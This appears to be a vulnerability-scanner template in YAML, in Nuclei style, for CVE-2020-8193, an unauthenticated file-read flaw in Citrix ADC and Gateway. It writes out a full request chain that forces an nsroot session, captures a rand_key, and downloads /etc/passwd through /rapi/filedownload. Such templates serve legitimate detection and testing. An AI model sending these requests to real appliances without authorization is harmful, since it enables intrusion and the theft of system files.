76 lines
2.1 KiB
YAML
76 lines
2.1 KiB
YAML
id: CVE-2020-8193
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info:
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name: Citrix unauthenticated LFI
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author: pdteam
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severity: medium
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description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7
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allows unauthenticated access to certain URL endpoints.
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reference:
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- https://github.com/jas502n/CVE-2020-8193
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- http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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cvss-score: 6.5
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cve-id: CVE-2020-8193
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cwe-id: CWE-862
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tags: cve,cve2020,citrix,lfi
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requests:
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- raw:
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POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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X-NITRO-USER: xpyZxwy6
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X-NITRO-PASS: xWXHUJ56
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<appfwprofile><login></login></appfwprofile>
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GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
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Host: {{Hostname}}
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GET /menu/neo HTTP/1.1
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Host: {{Hostname}}
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GET /menu/stc HTTP/1.1
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Host: {{Hostname}}
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POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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X-NITRO-USER: oY39DXzQ
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X-NITRO-PASS: ZuU9Y9c1
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rand_key: {{randkey}}
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<appfwprofile><login></login></appfwprofile>
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POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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X-NITRO-USER: oY39DXzQ
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X-NITRO-PASS: ZuU9Y9c1
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rand_key: {{randkey}}
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<clipermission></clipermission>
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cookie-reuse: true
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extractors:
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- type: regex
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name: randkey # dynamic variable
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part: body
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internal: true
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regex:
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- "(?m)[0-9]{3,10}\\.[0-9]+"
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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